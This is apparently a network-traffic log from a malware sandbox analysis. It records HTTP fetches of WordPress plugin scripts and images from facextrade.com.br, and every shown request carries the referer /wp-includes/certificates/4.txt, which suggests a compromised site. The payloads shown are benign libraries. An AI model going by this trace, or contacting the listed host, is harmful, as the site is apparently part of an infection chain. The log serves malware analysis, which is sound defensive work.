72 65 6e 74 53 6c 69 64 65 3d 30 29 2c 64 2e 61 6e 69 6d 61 74 69 6e 67 54 6f 3d 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 2c 64 2e 61 74 45 6e 64 3d 30 3d 3d 3d 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 7c 7c 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 3d 3d 64 2e 6c 61 73 74 2c 64 2e 63 6f 6e 74 61 69 6e 65 72 53 65 6c 65 63 74 6f 72 3d 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2e 73 75 62 73 74 72 28 30 2c 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2e 73 65 61 72 63 68 28 22 20 22 29 29 2c 64 2e 73 6c 69 64 65 73 3d 61 28 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2c 64 29 2c 64 2e 63 6f 6e 74 61 69 6e 65 72 3d 61 28 64 2e 63 6f 6e 74 61 69 6e 65 72 53 65 6c 65 63 74 6f 72 2c 64 29 2c 64 2e 63 Data Ascii: /* * jQuery FlexSlider v2.2.2 * Copyright 2012 WooThemes * Contributing Author: Tyler Smith */!function(a){a.flexslider=function(b,c){var d=a(b);d.vars=a.extend({},a.flexslider.defaults,c);var j,e=d.vars.namespace,f=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,g=("ontouchstart"in window\|\|f\|\|window.DocumentTouch&&document instanceof DocumentTouch)&&d.vars.touch,h="click touchend MSPointerUp",i="",k="vertical"===d.vars.direction,l=d.vars.reverse,m=d.vars.itemWidth>0,n="fade"===d.vars.animation,o=""!==d.vars.asNavFor,p={},q=!0;a.data(b,"flexslider",d),p={init:function(){d.animating=!1,d.currentSlide=parseInt(d.vars.startAt?d.vars.startAt:0,10),isNaN(d.currentSlide)&&(d.currentSlide=0),d.animatingTo=d.currentSlide,d.atEnd=0===d.currentSlide\|\|d.currentSlide===d.last,d.containerSelector=d.vars.selector.substr(0,d.vars.selector.search(" ")),d.slides=a(d.vars.selector,d),d.container=a(d.containerSelector,d),d.c
Aug 16, 2022 11:45:08.011405945 CEST	3277	IN	Data Raw: 6f 75 6e 74 3d 64 2e 73 6c 69 64 65 73 2e 6c 65 6e 67 74 68 2c 64 2e 73 79 6e 63 45 78 69 73 74 73 3d 61 28 64 2e 76 61 72 73 2e 73 79 6e 63 29 2e 6c 65 6e 67 74 68 3e 30 2c 22 73 6c 69 64 65 22 3d 3d 3d 64 2e 76 61 72 73 2e 61 6e 69 6d 61 74 69 Data Ascii: ount=d.slides.length,d.syncExists=a(d.vars.sync).length>0,"slide"===d.vars.animation&&(d.vars.animation="swing"),d.prop=k?"top":"marginLeft",d.args={},d.manualPause=!1,d.stopped=!1,d.started=!1,d.startTimeout=null,d.transitions=!d.vars.video&&
Aug 16, 2022 11:45:08.011429071 CEST	3279	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 66 3d 30 3e 62 3f 64 2e 67 65 74 54 61 72 67 65 74 28 22 6e 65 78 74 22 29 3a 64 2e 67 65 74 54 61 72 67 65 74 28 22 70 72 65 76 22 29 Data Ascii: function(a,b){a.preventDefault();var f=0>b?d.getTarget("next"):d.getTarget("prev");d.flexAnimate(f,d.vars.pauseOnAction)}),d.vars.pausePlay&&p.pausePlay.setup(),d.vars.slideshow&&d.vars.pauseInvisible&&p.pauseInvisible.init(),d.vars.slideshow&
Aug 16, 2022 11:45:08.011451006 CEST	3280	IN	Data Raw: 7c 7c 28 64 2e 64 69 72 65 63 74 69 6f 6e 3d 64 2e 63 75 72 72 65 6e 74 49 74 65 6d 3c 65 3f 22 6e 65 78 74 22 3a 22 70 72 65 76 22 2c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 65 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 2c Data Ascii: \|\|(d.direction=d.currentItem<e?"next":"prev",d.flexAnimate(e,d.vars.pauseOnAction,!1,!0,!0))})})):d.slides.on(h,function(b){b.preventDefault();var c=a(this),f=c.index(),g=c.offset().left-a(d).scrollLeft();0>=g&&c.hasClass(e+"active-slide")?d.f
Aug 16, 2022 11:45:08.011475086 CEST	3281	IN	Data Raw: 61 72 20 63 3d 61 28 74 68 69 73 29 2c 66 3d 64 2e 63 6f 6e 74 72 6f 6c 4e 61 76 2e 69 6e 64 65 78 28 63 29 3b 63 2e 68 61 73 43 6c 61 73 73 28 65 2b 22 61 63 74 69 76 65 22 29 7c 7c 28 64 2e 64 69 72 65 63 74 69 6f 6e 3d 66 3e 64 2e 63 75 72 72 Data Ascii: ar c=a(this),f=d.controlNav.index(c);c.hasClass(e+"active")\|\|(d.direction=f>d.currentSlide?"next":"prev",d.flexAnimate(f,d.vars.pauseOnAction))}""===i&&(i=b.type),p.setToClearWatchedEvent()})},setupManual:function(){d.controlNav=d.manualContro
Aug 16, 2022 11:45:08.011497021 CEST	3283	IN	Data Raw: 6f 6e 74 61 69 6e 65 72 29 2e 61 70 70 65 6e 64 28 62 29 2c 64 2e 64 69 72 65 63 74 69 6f 6e 4e 61 76 3d 61 28 22 2e 22 2b 65 2b 22 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 6c 69 20 61 22 2c 64 2e 63 6f 6e 74 72 6f 6c 73 43 6f 6e 74 61 69 6e 65 Data Ascii: ontainer).append(b),d.directionNav=a("."+e+"direction-nav li a",d.controlsContainer)):(d.append(b),d.directionNav=a("."+e+"direction-nav li a",d)),p.directionNav.update(),d.directionNav.bind(h,function(b){b.preventDefault();var c;(""===i\|\|i===
Aug 16, 2022 11:45:08.011519909 CEST	3284	IN	Data Raw: 29 2c 22 22 3d 3d 3d 69 26 26 28 69 3d 62 2e 74 79 70 65 29 2c 70 2e 73 65 74 54 6f 43 6c 65 61 72 57 61 74 63 68 65 64 45 76 65 6e 74 28 29 7d 29 7d 2c 75 70 64 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 70 6c 61 79 22 3d 3d 3d 61 3f 64 Data Ascii: ),""===i&&(i=b.type),p.setToClearWatchedEvent()})},update:function(a){"play"===a?d.pausePlay.removeClass(e+"pause").addClass(e+"play").html(d.vars.playText):d.pausePlay.removeClass(e+"play").addClass(e+"pause").html(d.vars.pauseText)}},touch:f
Aug 16, 2022 11:45:08.011544943 CEST	3285	IN	Data Raw: 61 74 68 2e 61 62 73 28 6b 29 3e 67 2f 32 29 3f 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 6d 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 29 3a 6e 7c 7c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 64 2e 63 75 72 72 65 6e 74 53 6c Data Ascii: ath.abs(k)>g/2)?d.flexAnimate(m,d.vars.pauseOnAction):n\|\|d.flexAnimate(d.currentSlide,d.vars.pauseOnAction,!0)}b.removeEventListener("touchend",t,!1),a=null,c=null,h=null,e=null}function u(a){a.stopPropagation(),d.animating?a.preventDefault():
Aug 16, 2022 11:45:08.011565924 CEST	3287	IN	Data Raw: 69 6f 6e 29 3a 6e 7c 7c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 2c 21 30 29 7d 61 3d 6e 75 6c 6c 2c 63 3d 6e 75 6c 6c 2c 68 3d 6e 75 6c 6c Data Ascii: ion):n\|\|d.flexAnimate(d.currentSlide,d.vars.pauseOnAction,!0)}a=null,c=null,h=null,e=null,q=0}}var a,c,e,g,h,i,j=!1,o=0,p=0,q=0;f?(b.style.msTouchAction="none",b._gesture=new MSGesture,b._gesture.target=b,b.addEventListener("MSPointerDown",u,!
Aug 16, 2022 11:45:08.011589050 CEST	3288	IN	Data Raw: 48 69 64 64 65 6e 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 28 70 2e 70 61 75 73 65 49 6e 76 69 73 69 62 6c 65 2e 76 69 73 50 72 6f 70 3d 61 5b 62 5d 2b 22 48 69 64 64 65 6e 22 29 3b 69 66 28 70 2e 70 61 75 73 65 49 6e 76 69 73 69 62 6c 65 2e 76 Data Ascii: Hidden"in document&&(p.pauseInvisible.visProp=a[b]+"Hidden");if(p.pauseInvisible.visProp){var c=p.pauseInvisible.visProp.replace(/[H\|h]idden/,"")+"visibilitychange";document.addEventListener(c,function(){p.pauseInvisible.isHidden()?d.startTime
Aug 16, 2022 11:45:08.242417097 CEST	3339	IN	Data Raw: 2e 63 6f 6e 74 72 6f 6c 4e 61 76 2e 61 63 74 69 76 65 28 29 2c 6d 7c 7c 64 2e 73 6c 69 64 65 73 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 65 2b 22 61 63 74 69 76 65 2d 73 6c 69 64 65 22 29 2e 65 71 28 62 29 2e 61 64 64 43 6c 61 73 73 28 65 2b 22 61 Data Ascii: .controlNav.active(),m\|\|d.slides.removeClass(e+"active-slide").eq(b).addClass(e+"active-slide"),d.atEnd=0===b\|\|b===d.last,d.vars.directionNav&&p.directionNav.update(),b===d.last&&(d.vars.end(d),d.vars.animationLoop\|\|d.pause()),n)g?(d.slides.eq
Aug 16, 2022 11:45:08.246583939 CEST	3347	OUT	GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:08.479273081 CEST	3415	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:35:25 GMT Server: Apache ETag: "a50db1-cf-5c93d3867844d" Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT Content-Length: 207 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383419 21587672 Age: 583 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0a 00 00 00 13 08 06 00 00 00 a9 eb 9c ee 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 16 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 30 31 2f 30 39 2f 31 30 dc b9 92 1f 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 34 06 b2 d3 a0 00 00 00 27 49 44 41 54 28 91 63 7c f7 ee dd 7f 06 22 00 0b 23 23 23 31 ea 86 84 42 26 a2 54 d1 c4 ea 51 85 d4 51 48 fd 28 04 00 35 2f 04 3f b8 1b 51 2d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dpHYs~tEXtCreation Time01/09/10tEXtSoftwareAdobe Fireworks CS4'IDAT(c\|"###1B&TQQH(5/?Q-IENDB`
Aug 16, 2022 11:45:08.499972105 CEST	3425	OUT	GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:08.731301069 CEST	3545	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:35:25 GMT Server: Apache ETag: "a50de3-d0-5c93d38684b39" Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT Content-Length: 208 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383421 22394923 Age: 583 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 05 00 00 00 03 08 06 00 00 00 5b 36 c5 f8 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 34 06 b2 d3 a0 00 00 00 16 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 30 31 2f 30 39 2f 31 30 dc b9 92 1f 00 00 00 28 49 44 41 54 08 99 5d c8 c1 0d 00 30 0c 83 40 a7 13 b3 89 47 a6 af 48 55 79 9d 98 b6 e6 eb 00 f3 0e 60 a2 46 4d 5b d7 17 94 fd 13 f2 5b d4 0b 67 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR[6sBIT\|dpHYs~tEXtSoftwareAdobe Fireworks CS4tEXtCreation Time01/09/10(IDAT]0@GHUy`FM[[gIENDB`
Aug 16, 2022 11:45:08.739548922 CEST	3546	OUT	GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:08.971004009 CEST	3798	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:49 GMT Server: Apache ETag: "a4f8b3-ada-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 2778 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383423 21929796 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 64 65 76 69 63 65 2e 6a 73 20 30 2e 31 2e 35 38 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 3b 61 3d 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 2c 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 3d 7b 7d 2c 63 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6a 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 64 65 76 69 63 65 2e 69 6f 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 6f 64 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 61 64 28 29 7d 2c 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 6f 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 6f 64 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 61 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 61 6e 64 72 6f 69 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 21 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 62 6c 61 63 6b 62 65 72 72 79 22 29 7c 7c 64 28 22 62 62 31 30 22 29 7c 7c 64 28 22 72 69 6d 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 21 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 77 69 6e 64 6f 77 73 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 74 6f 75 63 68 22 29 7d 2c 64 65 76 69 Data Ascii: /! device.js 0.1.58 /(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},devi
Aug 16, 2022 11:45:08.974728107 CEST	3804	OUT	GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:09.206223011 CEST	4100	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:49 GMT Server: Apache ETag: "a4f8bb-3b2-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 946 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383425 14780918 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 20 6a 71 75 65 72 79 2e 73 69 6d 70 6c 72 2e 73 6d 6f 6f 74 68 73 63 72 6f 6c 6c 20 76 65 72 73 69 6f 6e 20 31 2e 30 20 63 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 73 69 6d 6f 76 2f 73 69 6d 70 6c 72 2d 73 6d 6f 6f 74 68 73 63 72 6f 6c 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 2a 2f 0a 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0a 20 20 20 20 69 66 28 21 64 65 76 69 63 65 2e 6d 6f 62 69 6c 65 28 29 20 26 26 20 21 64 65 76 69 63 65 2e 74 61 62 6c 65 74 28 29 29 7b 0a 20 20 20 20 20 20 20 20 24 2e 73 72 53 6d 6f 6f 74 68 73 63 72 6f 6c 6c 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 65 70 3a 31 35 30 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 70 65 65 64 3a 38 30 30 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 7d 29 3b 0a 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 73 72 53 6d 6f 6f 74 68 73 63 72 6f 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 70 6c 61 74 66 6f 72 6d 20 3d 20 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 70 6c 61 74 66 6f 72 6d 3b 20 69 66 20 28 28 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 4d 61 63 49 6e 74 65 6c 27 20 7c 7c 20 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 4d 61 63 50 50 43 27 29 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 3b 20 76 61 72 20 6e 3d 65 2e 65 78 74 65 6e 64 28 7b 73 74 65 70 3a 31 37 30 2c 73 70 65 65 64 3a 31 30 30 30 2c 65 61 73 65 3a 22 73 77 69 6e 67 22 7d 2c 74 7c 7c 7b 7d 29 3b 76 61 72 20 72 3d 65 28 77 69 6e 64 6f 77 29 2c 69 3d 65 28 64 6f 63 75 6d 65 6e 74 29 2c 73 3d 30 2c 6f 3d 6e 2e 73 74 65 70 2c 75 3d 6e 2e 73 70 65 65 64 2c 61 3d 72 2e 68 65 69 67 68 74 28 29 2c 66 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 41 70 70 6c 65 57 65 62 4b 69 74 22 29 21 3d 3d 2d 31 3f 65 28 22 62 6f 64 79 22 29 3a 65 28 22 68 74 6d 6c 22 29 2c 6c 3d 66 61 6c 73 65 3b 65 28 22 62 6f 64 79 22 29 2e 6d 6f 75 73 65 77 68 65 65 6c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6c 3d 74 72 75 65 3b 69 66 28 74 3c 30 29 73 3d 73 2b 61 3e 3d 69 2e 68 65 69 67 68 74 28 29 3f 73 3a 73 2b 3d 6f 3b 65 6c 73 65 20 73 3d 73 3c 3d 30 3f 30 3a 73 2d 3d 6f 3b 66 2e 73 74 6f 70 28 29 2e 61 6e 69 6d 61 74 65 28 7b 73 63 72 6f 6c 6c 54 6f 70 3a 73 7d 2c 75 2c 6e 2e 65 61 73 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 3d 66 61 6c 73 65 7d 29 3b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 29 3b 72 2e 6f 6e 28 22 72 65 73 69 7a 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 3d 72 2e 68 65 69 67 68 74 28 29 7d 29 2e 6f 6e 28 22 73 63 72 6f 6c 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 6c 29 73 3d 72 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 7d 29 7d 7d 29 28 6a 51 75 65 72 79 29 3b 0a Data Ascii: /* jquery.simplr.smoothscroll version 1.0 copyright (c) 2012 https://github.com/simov/simplr-smoothscroll licensed under MIT */jQuery(document).ready(function($) { if(!device.mobile() && !device.tablet()){ $.srSmoothscroll({ step:150, speed:800 }); }});;(function(e){"use strict";e.srSmoothscroll=function(t){var platform = window.navigator.platform; if ((platform === 'MacIntel' \|\| platform === 'MacPPC')){return false}; var n=e.extend({step:170,speed:1000,ease:"swing"},t\|\|{});var r=e(window),i=e(document),s=0,o=n.step,u=n.speed,a=r.height(),f=navigator.userAgent.indexOf("AppleWebKit")!==-1?e("body"):e("html"),l=false;e("body").mousewheel(function(e,t){l=true;if(t<0)s=s+a>=i.height()?s:s+=o;else s=s<=0?0:s-=o;f.stop().animate({scrollTop:s},u,n.ease,function(){l=false});return false});r.on("resize",function(e){a=r.height()}).on("scroll",function(e){if(!l)s=r.scrollTop()})}})(jQuery);
Aug 16, 2022 11:45:09.209033012 CEST	4100	OUT	GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:09.440892935 CEST	4350	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:50 GMT Server: Apache ETag: "a4f8b0-2f7e-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 12158 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383427 14780920 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 20 20 20 20 0a 20 20 20 20 70 61 72 61 6c 6c 61 78 5f 62 6f 78 20 3d 20 24 28 27 73 65 63 74 69 6f 6e 2e 70 61 72 61 6c 6c 61 78 2d 62 6f 78 27 29 3b 0a 20 20 20 20 69 66 28 70 61 72 61 6c 6c 61 78 5f 62 6f 78 2e 6c 65 6e 67 74 68 20 3e 20 30 29 7b 0a 20 20 20 20 20 20 20 20 50 61 72 61 6c 6c 61 78 42 6f 78 28 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 50 61 72 61 6c 6c 61 78 42 6f 78 28 29 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 77 69 6e 64 6f 77 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 57 69 64 74 68 20 3d 20 64 6f 63 75 6d 65 6e 74 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 48 65 69 67 68 74 20 3d 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 74 65 4d 6f 64 65 20 3d 20 66 61 6c 73 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 65 56 65 72 73 69 6f 6e 20 3d 20 67 65 74 49 6e 74 65 72 6e 65 74 45 78 70 6c 6f 72 65 72 56 65 72 73 69 6f 6e 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 69 66 28 21 64 65 76 69 63 65 2e 6d 6f 62 69 6c 65 28 29 20 26 26 20 21 64 65 76 69 63 65 2e 74 61 62 6c 65 74 28 29 29 7b 0a 09 09 09 6c 69 74 65 4d 6f 64 